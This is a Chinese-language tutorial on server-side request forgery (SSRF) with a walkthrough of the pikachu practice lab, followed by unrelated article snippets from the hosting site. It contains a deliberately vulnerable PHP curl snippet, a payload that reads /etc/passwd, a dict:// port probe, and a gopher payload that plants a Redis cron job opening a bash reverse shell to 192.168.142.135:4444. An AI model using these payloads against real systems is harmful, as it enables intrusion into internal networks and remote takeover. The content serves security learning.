網安-SSRF-pikachu

目錄

SSRF:Server-Side Request Forgery

PHP curl

PHP 可能引起SSRF的函數

PHP其他函數

CURL其他協議

SSRF利用:

SSRF的發現?

工具

SSRF的防御

pikachu-SSRF

一:curl

1.訪問連接:

2.讀取本地文件

?3.dict協議掃描主機端口

二:file_get_content

4.http協議請求內網資源


SSRF:Server-Side Request Forgery

服務器端請求偽造:是一種由攻擊者構造形成由服務端發起請求的一個安全漏洞。因為是由服務端發起的,所以它能夠請求到與它相連而與外網隔離的內部系統。SSRF形成的原因大都是由于服務端提供了從其他服務器應用獲取數據的功能且沒有對目標地址做過濾與限制。

PHP curl

<?php
function curl($url){  $ch = curl_init();// 設置URL和相應的選項curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_HEADER, 0); // 啟用時會將頭文件的信息作為數據流輸出  // 抓取URL并把它傳遞給瀏覽器  curl_exec($ch);//關閉cURL資源,并且釋放系統資源  curl_close($ch);
}$url = $_GET['url'];
curl($url);  
?>

獲取網頁資源——爬蟲
webservice——獲取接口數據
FTP——下載文件
php.ini extension=php_curl.dll

PHP 可能引起SSRF的函數

函數作用
curl_exec()執行 cURL 會話
file_get_contents()將整個文件讀入一個字符串
?
fsockopen()打開一個網絡連接或者一個Unix套接字連接

PHP其他函數

函數作用
curl_exec()執行 cURL 會話
file_get_contents()將整個文件讀入一個字符串
fsockopen()打開一個網絡連接或者一個Unix套接字連接

CURL其他協議

協議作用payload
file查看文件curl -v 'file:///etc/passwd'
dict探測端口http://localhost/ssrf/ssrf1.php?url=dict://127.0.0.1:3306
gopher反彈shellcurl -v
'gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%
0a1%0d%0a$57%0d%0a%0a%0a%0a*/1 * * * * bash -i >&
/dev/tcp/192.168.142.135/4444
0>&1%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%
0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron
/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a
$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$
4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a

dict和gopher協議原本作用:

dict協議:用于搭建在線字典服務
gopher協議:是一種信息查找系統,只支持文本,不支持圖像,已被HTTP替代

SSRF利用:

1.掃描資產
2.獲取敏感信息
3.攻擊內網服務器(繞過防火墻)
4.訪問大文件,造成溢出
5.通過Redis寫入WebShell或建立反彈連接

實際案例:

1.Wordpress 3.5.1以下版本 xmlrpc.php?pingback的缺陷與SSFR
2.discuz!的SSRF(利用php的header函數來繞過,其實就是302跳轉實現協議轉換)
3.weblogic的SSRF

SSRF的發現?

1.爬取地址
2.查看是否請求了其他資源,也可以用Google語法搜索關鍵字:
share、wap、url、link、src、source、target、u、3g、display、sourceURL、imageURL、domain

工具

https://github.com/cujanovic/SSRF-Testing
https://github.com/tarunkant/Gopherus
https://github.com/swisskyrepo/SSRFmap

SSRF的防御

1.禁用協議
2.限制請求端口
3.設置URL白名單
4.過濾返回信息
5.統一錯誤信息

pikachu-SSRF

一:curl

點擊后看到url

1.訪問連接:

2.讀取本地文件

?3.dict協議掃描主機端口

二:file_get_content

和上題一樣不過換成了file

4.http協議請求內網資源

?file=http://127.0.0.1/pikachu/wiki/image/title.png

參考文章:

pikachu靶場練習——SSRF詳解_pikachu ssrf-CSDN博客

?

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/914221.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/914221.shtml
英文地址,請注明出處:http://en.pswp.cn/news/914221.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

在Centos系統上如何有效刪除文件和目錄的指令匯總

CentOS系統是一款開源的類Unix操作系統&#xff0c;極其親和程序員和技術人員。這個系統最大的優勢就是其高度自由化的特性&#xff0c;世界各地的開發者可以依照實際需求去修改和運行。在這個操作系統中&#xff0c;如果你想刪除文件和目錄&#xff0c;你可以使用各式各樣的命…

Spring(四) 關于AOP的源碼解析與思考

Spring&#xff08;四&#xff09; 關于AOP的源碼解析與思考 每種語言都有其獨特的機制和特點&#xff0c;那么說到Java你可能會首先想到反射&#xff0c;反射是Java語言提供的一種能夠在程序運行時動態操作類或對象的能力&#xff0c;比如獲取某個對象的類定義、獲取類聲明的屬…

Android 15 Settings 搜索框:引入關鍵字過濾功能

在日常使用 Android 手機時,我們經常會用到“設置”應用中的搜索功能來快速定位所需選項。然而,有時搜索結果可能會包含一些我們不希望看到或者過于寬泛的條目。 本文將深入探討這一變化,通過分析 SearchResultsAdapter.java 文件中的代碼修改,揭示 Android 如何實現對特定…

Python-魔術方法-創建、初始化與銷毀-hash-bool-可視化-運算符重載-容器和大小-可調用對象-上下文管理-反射-描述器-二分-學習筆記

序 欠4前年的一份筆記 &#xff0c;獻給今后的自己。 魔術方法 特殊屬性查看屬性如果dir&#xff08;lobji&#xff09;參數obj包含方法 __dir__()&#xff0c;該方法將被調用。如果參數obj不包含__dir__()&#xff0c; 該方法將最大限度地收集參數信息。 dir()對于不同類型的對…

redis的一些疑問

spring集成redisCacheEvict(value "commonCache", key "#uniqueid_userInfo")什么時候會執行緩存移除呢&#xff1f;如果方法執行異常是否移除&#xff1f;如果緩存不存在還會移除么&#xff1f;這個移除會在redis的執行歷史命令中監控到么&#xff1f;.…

3.檢查函數 if (!CheckStart()) return 的妙用 C#例子

在桌面/WPF 開發中&#xff0c;我們經常需要在按鈕事件里先判斷“能不能做”&#xff0c;再決定“怎么做”。如果校驗不過&#xff0c;就直接返回&#xff1b;校驗通過&#xff0c;才繼續執行業務邏輯。 今天分享一個極簡寫法&#xff1a;if (!CheckStart()) return;&#xff0…

炎熱工廠救援:算法打造安全壁壘

高溫天氣下智慧工廠&#xff1a;算法賦能&#xff0c;安全救援無憂背景&#xff1a;極端高溫下工廠的嚴峻挑戰近年來&#xff0c;極端高溫天氣頻發&#xff0c;部分地區氣溫接近甚至超過50℃。在這樣酷熱的環境中&#xff0c;工廠面臨著諸多嚴峻問題。一方面&#xff0c;高溫容…

pgsql模板是什么?

查找所有的數據庫 select datname from pg_database運行該命令后&#xff0c;我們會發現其中出現了一些其它的數據庫接下來&#xff0c;我們分析 template0 和 template1 的作用。template1 template1 是 PostgreSQL 默認用于創建新數據庫的模板。當執行 CREATE DATABASE new_d…

LLM 不知道答案,但是知道去調用工具獲取答案?

思考&#xff1a; LLM 自己“不知道”某個事實性問題的答案&#xff0c;但仍然能“知道”去調用工具獲取正確答案&#xff0c;這聽起來確實有點像個悖論該內容觸及了大型語言模型&#xff08;LLM&#xff09;的核心局限性以及&#xff08;Agents&#xff09;的智能所在。實際上…

2025年7月11日學習筆記一周歸納——模式識別與機器學習

2025年7月11日學習筆記&一周歸納——模式識別與機器學習一.一周工作二.我的一些筆記匯總三.發現的一些新的學習資料和愛用好物1.百度網盤AI筆記&#xff1a;2.b站資料&#xff1a;3.聽說的一些好書&#xff1a;一.一周工作 本周學習了清華大學張學工汪小我老師的模式識別與…

LeetCode 138題解 | 隨機鏈表的復制

隨機鏈表的復制一、題目鏈接二、題目三、分析四、代碼一、題目鏈接 138.隨機鏈表的復制 二、題目 三、分析 數據結構初階階段&#xff0c;為了控制隨機指針&#xff0c;我們將拷貝結點鏈接在原節點的后面解決&#xff0c;后面拷貝節點還得解下來鏈接&#xff0c;非常麻煩。這…

【計算機存儲架構】分布式存儲架構

引言&#xff1a;數據洪流時代的存儲革命“數據是新時代的石油” —— 但傳統存儲正成為制約數據價值釋放的瓶頸核心矛盾&#xff1a;全球數據量爆炸增長&#xff1a;IDC預測2025年全球數據量將達175ZB&#xff08;1ZB10億TB&#xff09;傳統存儲瓶頸&#xff1a;單機IOPS上限僅…

【Linux-云原生-筆記】數據庫操作基礎

一、什么是數據庫&#xff1f;數據庫就是一個有組織、可高效訪問、管理和更新的電子化信息&#xff08;數據&#xff09;集合庫。簡單來說&#xff0c;數據庫就是一個高級的Excel二、安裝數據庫并初始化1、安裝數據庫&#xff08;MySQL&#xff09;dnf search一下mysql數據庫的…

HarmonyOS中各種動畫的使用介紹

鴻蒙&#xff08;HarmonyOS&#xff09;提供了豐富的動畫能力&#xff0c;涵蓋屬性動畫、顯式動畫、轉場動畫、幀動畫等多種類型&#xff0c;適用于不同場景的交互需求。以下是鴻蒙中各類動畫的詳細解析及使用示例&#xff1a;1. 屬性動畫&#xff08;Property Animation&#…

CSP-S 模擬賽 10

T1 洛谷 U490727 返鄉 思路 首先要意識到一個問題&#xff0c;就是如果所有人總分一定&#xff0c;那么是不會出現偏序的。 可以感性理解一下&#xff0c;就是對于 i,ji, ji,j&#xff0c; 若 ai≤aj,bi≤bja_i \leq a_j, b_i \leq b_jai?≤aj?,bi?≤bj?&#xff0c;那么…

CMD,PowerShell、Linux/MAC設置環境變量

以下是 CMD&#xff08;Windows&#xff09;、PowerShell&#xff08;Windows&#xff09;、Linux/Mac 在 臨時/永久 環境變量操作上的對比表格&#xff1a;環境變量操作對照表&#xff08;CMD vs PowerShell vs Linux/Mac&#xff09;操作CMD&#xff08;Windows&#xff09;P…

MySQL(131)如何解決MySQL CPU使用率過高問題?

解決MySQL CPU使用率過高的問題需要從多個方面進行排查和優化&#xff0c;包括查詢優化、索引優化、配置優化和硬件資源的合理使用等。以下是詳細的解決方案和相應的代碼示例。 一、查詢優化 1. 檢查慢查詢 使用MySQL的慢查詢日志來找到執行時間長的查詢。 SET GLOBAL slow_que…

docker基礎與常用命令

目錄 一.docker概述 1.docker與虛擬機區別 2.Linux 六大命名空間 3.Docker 的核心技術及概念 二.docker部署安裝 三.docker常用命令 1.搜索鏡像 2.獲取鏡像 3.查看鏡像信息 4.添加鏡像標簽 5.刪除鏡像 6.存出與載入鏡像 7.上傳鏡像 8.創建容器 9.查看容器狀態 1…

Cypress與多語言后端集成指南

Cypress 簡介 基于 JavaScript 的前端測試工具,可以對瀏覽器中運行的任何內容進行快速、簡單、可靠的測試Cypress 是自集成的,提供了一套完整的端到端測試,無須借助其他外部工具,安裝后即可快速地創建、編寫、運行測試用例,且對每一步操作都支持回看不同于其他只能測試 UI…

計算機畢業設計ssm基于JavaScript的餐廳點餐系統 SSM+Vue智慧餐廳在線點餐管理平臺 JavaWeb前后端分離式餐飲點餐與桌臺調度系統

計算機畢業設計ssm基于JavaScript的餐廳點餐系統0xig8788&#xff08;配套有源碼 程序 mysql數據庫 論文&#xff09; 本套源碼可以在文本聯xi,先看具體系統功能演示視頻領取&#xff0c;可分享源碼參考。掃碼點單、手機支付、后廚實時出票已經成為食客對餐廳的基本預期。傳統的…